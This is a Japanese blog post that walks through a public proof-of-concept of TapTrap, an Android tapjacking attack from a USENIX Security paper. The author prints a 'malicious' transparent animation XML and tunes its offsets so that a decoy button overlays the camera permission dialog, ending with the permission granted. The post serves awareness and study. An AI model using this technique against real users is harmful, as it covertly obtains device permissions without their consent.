6
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

見えないダイアログでユーザーを騙す「TapTrap」攻撃のデモ体験

6
Last updated at Posted at 2025-09-04

概要

先月、TapTrap という攻撃手法に関する論文が発表されました。

以下はその論文発表がされたことを含めた概要が記載された記事です。

この記事では以下のように記載されています。

TapTrapの対象になるのはAndroidスマホだけ。iPhoneなどは影響しない。

TapTrapの詳細は論文としてまとめられ、2025年8月13~15日に米国で開催された世界有数のセキュリティー国際会議「The 34th USENIX Security Symposium」で発表された。

Androidユーザーが影響を受ける可能性がある攻撃のようです。
記事タイトルにある通り、「透明」に偽造する手口です。

以下動画を確認いただくとイメージしやすいと思います。

論文(PDF)は以下から参照できます。

論文内のリンクにある通り、デモ用のリポジトリが用意されています。

デモ用のリポジトリを通じて、どういった攻撃手法か自分の目で確かめてみることにしました。

デモを試してみよう

最初に、私の環境面の情報です。

  • OS:Windows11
  • Device:Galaxy A53
  • Android Studio:インストール済(2024リリースのバージョン)

リポジトリの確認

いくつかフォルダがありますが、README.mdに記載されている通り、poc フォルダにデモ用のアプリがあります。

poc – Proof-of-concept TapTrap implementation

デモアプリ概要

pocフォルダ内部のREADME.mdの記載内容です。

The TapTrap proof-of-concept (PoC) demonstrates a permission-based variant of the TapTrap attack by targeting the system-level camera permission.

- Pressing Start initiates the attack sequence.
- The user is prompted to click “Click here”, which is designed to lure them into unintentionally granting camera access.
- The attack window lasts for 6 seconds. If the permission is not granted within this window, the attack is retried.
- The attack is considered successful if the app displays "Permission granted".

startボタンをタップすると、“Click here”ボタンが表示されます。この“Click here”ボタンはダミーなので、これ自体はタップしても何も起きません。

カメラの利用許可に関して選択されるまで最大6秒間待ちます。

  • 選択されたとき:"Permission granted"と画面に表示
  • 6秒間選択されなかったとき:再び6秒間待つことを、選択されるまで繰り返す

カメラの利用許可ボタンの位置調整

「透明」に偽造、というのがキーワードになるので、ダイアログは見えない状態でコードが用意されています。
この調整が終われば、デモアプリとしては完成します。

デバッグする中で、ダイアログを表示するように切り替えて、自身の端末で「透明」に偽造した形が実現できるように、fade_in.xml の値を調整をしていきます。

fade_in.xml(最初の状態)
<?xml version="1.0" encoding="utf-8"?>
<!-- Malicious animation used for TapTrap -->
<set xmlns:android="http://schemas.android.com/apk/res/android">
    <scale
        android:fromXScale="20"
        android:toXScale="20"
        android:fromYScale="20"
        android:toYScale="20"
        android:pivotX="50%"
        android:pivotY="50%"
        android:repeatCount="1"
        android:duration="2999" />
    <alpha
        android:fromAlpha="0.001"
        android:toAlpha="0.001"
        android:repeatCount="1"
        android:duration="2999" />
</set>

アプリ起動時の画面
Screenshot_20250905_070656_TapTrap PoC.jpg

"start"ボタンタップ後
Screenshot_20250905_070820_Permission controller.jpg

カメラの利用許可ダイアログを見える状態へ

まずは、自分の端末でどこにダイアログが表示されているか確認します。
以下コードのコメントで記載した通りですが、値を0.001から1.0に変更します。

fade_in.xml
<?xml version="1.0" encoding="utf-8"?>
<!-- Malicious animation used for TapTrap -->
<set xmlns:android="http://schemas.android.com/apk/res/android">
    <scale
        android:fromXScale="1.0"
        android:toXScale="1.0"
        android:fromYScale="1.0"
        android:toYScale="1.0"
        android:pivotX="50%"
        android:pivotY="50%"
        android:repeatCount="1"
        android:duration="2999" />
    <!-- fromAlphaとtoAlphaを、1.0に変更 -->
    <alpha
        android:fromAlpha="1.0" 
        android:toAlpha="1.0"
        android:repeatCount="1"
        android:duration="2999" />
</set>

ダイアログ表示
Screenshot_20250905_070722_Permission controller.jpg

"Click here"と「アプリの使用時のみ」が重なるように調整

ダイアログの表示位置は分かったので、次は位置を調整して、"Click here"ボタンの位置をタップしたときに、「使用を許可する」をタップできるようにします。
translateセクションを追加します。

fade_in.xml
<?xml version="1.0" encoding="utf-8"?>
<!-- Malicious animation used for TapTrap -->
<set xmlns:android="http://schemas.android.com/apk/res/android">
    <scale
    ...
     />
    <!-- 表示位置を調整 -->
    <translate
        android:fromYDelta="0%"
        android:toYDelta="-27%"
        android:repeatCount="1"
        android:duration="200" />
    <alpha
        android:fromAlpha="1.0"
        android:toAlpha="1.0"
        android:repeatCount="1"
        android:duration="2999" />
</set>

ダイアログの表示位置を画面中央に変更
重ねているのでわかりづらいですが、"Click here"の真上にある状態です。
Screenshot_20250905_074710_Permission controller.jpg

ダイアログを非表示に戻す

表示位置は調整できたので、ダイアログを表示しないように戻せば終わりです。

fade_in.xml
<?xml version="1.0" encoding="utf-8"?>
<!-- Malicious animation used for TapTrap -->
<set xmlns:android="http://schemas.android.com/apk/res/android">
    <scale
        android:fromXScale="1.0"
        android:toXScale="1.0"
        android:fromYScale="1.0"
        android:toYScale="1.0"
        android:pivotX="50%"
        android:pivotY="50%"
        android:repeatCount="1"
        android:duration="2999" />
    <translate
        android:fromYDelta="0%"
        android:toYDelta="-27%"
        android:repeatCount="1"
        android:duration="200" />
    <alpha
        android:fromAlpha="1.0"
        android:toAlpha="1.0"
        android:repeatCount="1"
        android:duration="2999" />
</set>

"start"ボタンタップ後
見えませんが、ダイアログが画面中央あたりに表示された状態です。
Screenshot_20250905_080732_Permission controller.jpg

"Click here"をタップ(したつもり)
Screenshot_20250905_080745_TapTrap PoC.jpg

これで、カメラの利用権限が付与されたことになってしまいました。

体験してみて(まとめ)

デモアプリなので土台は用意されていますが、作業として行ったのは、xmlファイルの数値調整だけです。特段難しいことをせずに、攻撃手法を構築することができてしまいました。

Android開発に関して、普段はFlutterでやっているので、Javaだとイメージが固まりませんでしたが、Flutterで同様の実装をしてください、と言われればできそうだなと思いました。

ダイアログが表示されるときは、画面全体が灰色になりました。
デバッグしながら挙動を逐一見ているからわかりますが、画面操作をいくつか行っている流れの中では気付かないと思いますし、ちょっと明るいところで操作していてたまたま画面が暗くなっただけ、と思うかもしれません。

それくらい疑惑を持たれない形の攻撃手法だと思いました。

また今回の内容がきっかけで、「USENIX Security Symposium」の存在を知ることにもなったので、このあたりをもう少し確認してみようかと思います。

参考サイト

動画とPDFのURLが載っていたサイト

6
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?